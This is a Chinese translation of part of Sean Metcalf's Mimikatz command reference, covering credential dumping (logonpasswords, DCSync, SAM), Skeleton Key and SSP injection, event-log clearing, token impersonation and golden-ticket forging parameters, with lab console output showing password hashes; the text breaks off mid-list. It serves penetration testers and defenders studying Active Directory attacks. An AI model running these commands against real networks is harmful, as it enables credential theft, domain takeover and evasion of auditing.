Mimikatz 非官方指南和命令參考_Part2

wyzsk發表於2020-08-19
作者: Her0in · 2016/02/01 11:29

原文地址:https://adsecurity.org/?page_id=1821
原文作者:Sean Metcalf

譯者注:
由於原文中,作者(Sean Metcalf)已經明確的指出 “未經本文作者明確的書面同意,請勿複製包含在此頁面的全部或部分內容。”,因此為了分享此佳作,譯者與作者(Sean Metcalf)在推上取得了聯絡,溝通之後,作者允許我將此文完整翻譯並分享給其他人。在此也感謝 Sean Metcalf 大牛將有關 Mimikatz 的全部內容做了系統的整理並分享出來。以下是原文作者(Sean Metcalf)回覆的截圖,以作授權說明:

p1

0x00 簡介


Mimikatz 作為當下內網滲透神器之一,看起來似乎很少有人真正關注它的全部功能(Sean Metcalf 在原文開頭也表示了這樣的疑惑),在一些諸如 “十大駭客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛將有關 Mimikatz 的相關技術做了系統的整理,遂做粗糙翻譯並作分享。譯文難免有誤,望各位看官及時指正。此文是譯文的第二部分,主要闡述了使用 Mimikatz 建立三大票證(黃金票證,白銀票證,信任票證)的命令用法,以及 雜湊傳遞(PTH),票證傳遞(PTT),金鑰傳遞(PTK),快取傳遞(PTC)的利用,在第三部分中會包含大量常用或不常用的 Mimikatz 命令的具體用法。

0x01 執行 Mimikatz 的“另類思路”


Casey Smith (@subtee & blog) 已經做了很多事情,表明了應用程式白名單不是萬能的。 Casey 也想出了很多新的想法,以“猥瑣”的方式來執行 Mimikatz 。

0x02 最流行的 Mimikatz 命令


下面就介紹一些最流行的 Mimikatz 命令及相關功能。

  • CRYPTO::Certificates – 列出/匯出憑證
  • KERBEROS::Golden – 建立黃金票證/白銀票證/信任票證
  • KERBEROS::List - 列出在使用者的記憶體中所有使用者的票證(TGT 和 TGS)。不需要特殊的許可權,因為它僅顯示當前使用者的票證。與 “klist” 的功能相似。
  • KERBEROS::PTT - 票證傳遞。通常用於注入竊取或偽造的 Kerberos 票證(黃金票證/白銀票證/信任票證)。
  • LSADUMP::DCSync - 向 DC 發起同步一個物件(獲取帳戶的密碼資料)的質詢。無需在 DC 上執行程式碼。
  • LSADUMP::LSA – 向 LSA Server 質詢檢索 SAM/AD 的資料(正常或未打補丁的情況下)。可以從 DC 或者是一個 lsass.dmp 的轉儲檔案中匯出所有的 Active Directory 域憑證資料。同樣也可以獲取指定帳戶的憑證,如 krbtgt 帳戶,使用 /name 引數,如:“/name:krbtgt”
  • LSADUMP::SAM - 獲取 SysKey 來解密 SAM 的專案資料(從登錄檔或者 hive 中匯出)。SAM 選項可以連線到本地安全帳戶管理器(SAM)資料庫中並能轉儲本地帳戶的憑證。可以用來轉儲在 Windows 計算機上的所有的本地憑據。
  • LSADUMP::Trust - 向 LSA Server 質詢來獲取信任的認證資訊(正常或未打補丁的情況下)。為所有相關的受信的域或林轉儲信任金鑰(密碼)。
  • MISC::AddSid – 將使用者帳戶新增到 SID 歷史記錄。第一個值是目標帳戶,第二值是帳戶/組名(可以是多個)(或 SID )。
  • MISC::MemSSP – 注入惡意的 Wndows SSP 來記錄本地身份驗證憑據。
  • MISC::Skeleton – 在 DC 中注入萬能鑰匙(Skeleton Key) 到 LSASS 程式中。這使得所有使用者所使用的萬能鑰匙修補 DC 使用 “主密碼” (又名萬能鑰匙)以及他們自己通常使用的密碼進行身份驗證。
  • PRIVILEGE::Debug – 獲得 Debug 許可權(很多 Mimikatz 命令需要 Debug 許可權或本地 SYSTEM 許可權)。
  • SEKURLSA::Ekeys – 列出 Kerberos 金鑰
  • SEKURLSA::Kerberos – 列出所有已透過認證的使用者的 Kerberos 憑證(包括服務帳戶和計算機帳戶)
  • SEKURLSA::Krbtgt – 獲取域中 Kerberos 服務帳戶(KRBTGT)的密碼資料
  • SEKURLSA::LogonPasswords – 列出所有可用的提供者的憑據。這個命令通常會顯示最近登入過的使用者和最近登入過的計算機的憑證。
  • SEKURLSA::Pth – Hash 傳遞 和 Key 傳遞(注:Over-Pass-the-Hash 的實際過程就是傳遞了相關的 Key(s))
  • SEKURLSA::Tickets – 列出最近所有已經過身份驗證的使用者的可用的 Kerberos 票證,包括使用使用者帳戶的上下文執行的服務和本地計算機在 AD 中的計算機帳戶。與 kerberos::list 不同的是 sekurlsa 使用記憶體讀取的方式,它不會受到金鑰匯出的限制。
  • TOKEN::List – 列出系統中的所有令牌
  • TOKEN::Elevate – 假冒令牌。用於提升許可權至 SYSTEM 許可權(預設情況下)或者是發現計算機中的域管理員的令牌。
  • TOKEN::Elevate /domainadmin – 假冒一個擁有域管理員憑證的令牌。

0x03 ADSecurity 中與 Mimikatz 相關的文章


所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts

0x04 Mimikatz 命令指南


Mimikatz 可以在互動模式中執行,只需執行 “Mimikatz.exe” 即可或傳遞命令並退出(例如:'Mimikatz “Kerberos::list” exit')。Invoke-Mimikatz 沒有互動模式。

Mimikatz 可以在命令列中傳遞多個命令,這在使用 Invoke-Mimikatz 或者是在指令碼檔案中使用 Mimikatz 時非常有用。

追加的 “exit” 是 Mimikatz 執行的最後一個命令,這能夠使 Mimikatz 自動退出。

#!bash
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */

mimikatz(commandline) # privilege::debug
 Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO

互動模式提供了一個命令可以輸入並實時執行的 “Mimikatz 控制檯”:

#!bash
PS C:\temp\mimikatz> .\mimikatz

.#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 17 modules * * */

mimikatz # privilege::debug
 Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 646260 (00000000:0009dc74)
 Session           : RemoteInteractive from 2
 User Name         : adsadministrator
 Domain            : ADSECLAB
 Logon Server      : ADSDC03
 Logon Time        : 11/27/2015 11:41:27 AM
 SID               : S-1-5-21-1581655573-3923512380-696647894-500
 msv :
 [00000003] Primary
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 [00010000] CredentialKeys
 * NTLM     : 5164b7a0fda365d56739954bbbc23835
 * SHA1     : f8db297cb2ae403f8915675cebe79643d0d3b09f
 tspkg :
 wdigest :
 * Username : ADSAdministrator
 * Domain   : ADSECLAB
 * Password : (null)
 kerberos :
 * Username : adsadministrator
 * Domain   : LAB.ADSECURITY.ORG
 * Password : (null)
 ssp :   KO
 credman :

0x05 Mimikatz 命令參考


Mimikatz 的模組如下:

注:任何被標記為“實驗”的專案,都應該僅在測試環境中使用。

Mimikatz 的 CRYPTO 模組提供與 Windows 加密功能(CryptoAPI)進行對接的高階功能。

典型的用法的是用於匯出未標記為“可匯出”的證書。

CRYPTO::CAPI – (實驗)是對 CryptoAPI 層的補丁,便於匯出憑證資料。

p2

關於使用 Mimikatz 匯出證書,Carlos Perez (又名DarkOperator) 發表過一篇很棒的文章。

這個命令可以列出證書以及證書中金鑰的屬性。它同樣也可以匯出證書。通常情況下,需要先執行 “privilege::debug”

  • /systemstore - 可選的引數 - 此引數被用於指定系統證書儲存庫型別(預設為: CERT_SYSTEM_STORE_CURRENT_USER)
  • /store – 可選的引數 - 此引數必須被用於 列出/匯出證書(預設為:My)- 使用 “crypto::stores” 列出所有內容
  • /export - 可選的引數 - 將所有的證書匯出到檔案中(DER 為證書的公有部分,PFX 為證書的私有部分 – 密碼使用 “mimikatz” 進行了保護)

Benjamin 對 CRYPTO:Certificates 的註釋:

  • crypto::stores 給出了可用的 systemstore 列表,並輸出了 store 引數可用的列表。
  • 不可匯出的金鑰(常見錯誤為:KO - ERROR kuhl_m_crypto_exportCert ; Export / CreateFile (0x8009000b))可以使用 crypto::capi 或者 crypto::cng 進行匯出。
  • 儘管已有 crypto::capicrypto::cng 補丁,但是你必須在檔案系統上擁有正確的 ACL 去訪問私鑰(如:UAC)。
  • 有些智慧卡加密提供者會報告“成功匯出私鑰”(實際上並不沒有成功匯出)。
CRYPTO::CNG - (實驗)對 CNG 服務進行補丁,便於匯出(補丁 “KeyIso” 服務)
CRYPTO::Hash - 對一個密碼進行雜湊操作(可以使用可選的使用者名稱)
CRYPTO::Keys - 列出/匯出金鑰容器
CRYPTO::Providers - 列出加密提供者

p3

CRYPTO::Stores - 列出加密儲存庫
  • /systemstore - 可選的引數 - 此引數被用於指定系統證書儲存庫型別(預設為: CERT_SYSTEM_STORE_CURRENT_USER)

Store 選項:

#!bash
CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
CERT_SYSTEM_STORE_USERS or USERS
CERT_SYSTEM_STORE_SERVICES or SERVICES

p4

DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二進位制大物件的保護
DPAPI:Cache
DPAPI::CAPI – CAPI 金鑰測試
DPAPI::CNG – CNG 金鑰測試
DPAPI::Cred – CRE 測試
DPAPI::CredHist – 配置一個 Credhist 檔案
DPAPI::MasterKey – 配置 Masterkey 檔案或解除保護(依賴於金鑰)
DPAPI::Protect – 使用 DPAPI 保護資料
DPAPI::Vault – VAULT 測試

EVENT::Clear – 清空事件日誌

p5

EVENT:::Drop –(實驗)對事件服務進行補丁,避免新的事件產生

p6

Mimikatz 的 KERBEROS 模組用於與微軟官方的 Kerberos API 進行對接。此模組中的命令不需要特殊的許可權。

  • KERBEROS::Clist – 列出 MIT/Heimdall 快取中的票證
  • KERBEROS::Golden – 建立 黃金票證/白銀票證/信任票證

該命令提供的功能需要根據檢索到的密碼的雜湊型別執行。

Type Requirement Scope
Golden KRBTGT hash Domain/Forest
Silver Service hash Service
Trust Trust hash Domain/Forest -> Domain/Forest
(基於帳戶的訪問)

黃金票證是一個使用 KRBTGT 帳戶的 NTLM 密碼雜湊來加密和簽名的 TGT 。

黃金票證(簡稱:GT)可以用於建立任何在域中的使用者(實際存在或不存在的均可)冒充為任何在域中的組(提供幾乎不受限制的許可權)的成員以及在域中的任何資源。由於黃金票證是一種身份驗證票證(TGT 如下所述),所以其範圍是 TGT 整個域(以及利用了 SID 歷史的 AD 林),還有一個原因是 TGT 可以用來獲取用於訪問資源的服務票據(TGS)。黃金票證(TGT)包含了使用者組成員資訊(PAC),這些資訊使用了域的 Kerberos 服務帳戶(KRBTGT)進行加密,簽名並且只能由 KRBTGT 帳戶才能開啟並讀取這些資訊。
總之,一旦攻擊者能夠訪問 KRBTGT 帳戶的密碼雜湊,他們就可以建立黃金票證(TGT)用於在任何時候訪問在 AD 中的任何東西。

Mimikatz 黃金票證命令參考

建立一個黃金票證的 Mimikatz 命令為 “kerberos::golden”

  • /domain – 指定完全合格的域名稱,如: “lab.adsecurity.org”。
  • /sid – 指定域的 SID。 如: “S-1-5-21-1473643419-774954089-2222329127”.
  • /sids – 指定你想要使用票證去欺騙其他在 AD 林中的帳戶或組的 SID。這個是根域中,企業管理員組(Enterprise Admins group)的 SID “S-1-5-21-1473643419-774954089-5872329127-519”。 此引數將會新增所提供的 SID 到 SID History 引數。
  • /user – 指定假冒的使用者名稱。
  • /groups (可選的) – 指定使用者所屬組的 RID (第一個是主要的組)。新增使用者或計算機帳戶的 RID,以獲得相同的訪問許可權。預設組: 513,512,520,518,519 是眾所周知的 Administrator 組的 RID(下面會列出)。
  • /krbtgt – 獲取域的 KDC 服務帳戶(KRBTGT)的 NTLM 密碼雜湊。用於對 TGT 進行加密和簽名。
  • /ticket (可選的) – 提供儲存黃金票證檔案的路徑和名稱或者使用 /ptt 引數將黃金票證注入到記憶體中。
  • /ptt – 是 /ticket 引數的替代引數– 使用該引數可以立即將偽造的票證注入到記憶體中。
  • /id (可選的) – 使用者的 RID。 Mimikatz 中預設的值為 500 (預設的 Administrator 帳戶的 RID)。
  • /startoffset (optional) – 當票證可用時指定起始偏移(在使用此選項時通常指定為 -10 或 0 )。 Mimikatz 中預設的值為 0。
  • /endin (可選的) – 票證的生命週期。 Mimikatz 中預設的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設定的值是 10 小時 (600 分鐘)。
  • /renewmax (可選的) – 使用了續約的票證的最大生命週期。 Mimikatz 中預設的值為 10 年 (5,262,480 分鐘)。 Active Directory 中的 Kerberos 策略設定的值是 7 天 (10,080 分鐘)。
  • /sids (可選的) – 指定在 AD 林中的企業管理員組(Enterprise Admins group)([ADRootDomainSID]-519) 中的 SID 以便欺騙在 AD 林中的企業管理員許可權 (在 AD 林中的每一個域中的 AD 管理員)。
  • /aes128 – 指定 AES128 的 key
  • /aes256 – 指定 AES256 的 key

黃金票證預設的組

  • Domain Users 組的 SID: S-1-5-21

相關文章